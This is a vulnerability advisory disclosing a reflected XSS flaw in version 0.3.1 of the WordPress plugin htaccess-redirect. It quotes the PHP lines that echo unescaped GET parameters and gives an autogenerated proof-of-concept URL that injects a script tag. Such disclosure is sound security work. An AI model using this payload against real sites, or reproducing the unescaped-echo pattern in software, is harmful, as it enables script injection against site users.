Advisory #: 755
Title: Reflected XSS in wordpress plugin htaccess-redirect v0.3.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/htaccess-redirect
Downloads: 7450
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: htaccess-redirect
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./htaccess-redirect/htaccess-redirect.php: 249: From <input type="text" name="link" id="link" title="Examples: http://example.com/location/, http://example.com/location/file.php" required type="url" value="<?php if(isset($_GET['link'])) echo $_GET['link'] ?>"> 253: <input type="text" name="redirect" id="redirect" title="Examples: http://example.com, http://example.com/location/, http://example.com/location/file.html" required type="url" value="<?php if(isset($_GET['redirect'])) echo $_GET['redirect'] ?>"> The variable link appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./htaccess-redirect/htaccess-redirect.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/htaccess-redirect/htaccess-redirect.php?link="><script>alert(1);</script><"